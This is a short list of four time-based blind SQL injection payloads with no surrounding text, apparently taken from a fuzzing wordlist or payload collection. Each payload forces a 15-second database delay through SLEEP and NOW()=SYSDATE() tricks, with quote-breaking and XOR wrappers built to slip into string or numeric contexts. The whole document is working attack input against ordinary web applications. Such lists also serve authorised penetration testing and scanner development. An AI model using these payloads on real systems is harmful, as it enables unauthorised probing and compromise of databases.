IF(NOW()=SYSDATE(),SLEEP(15),0)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z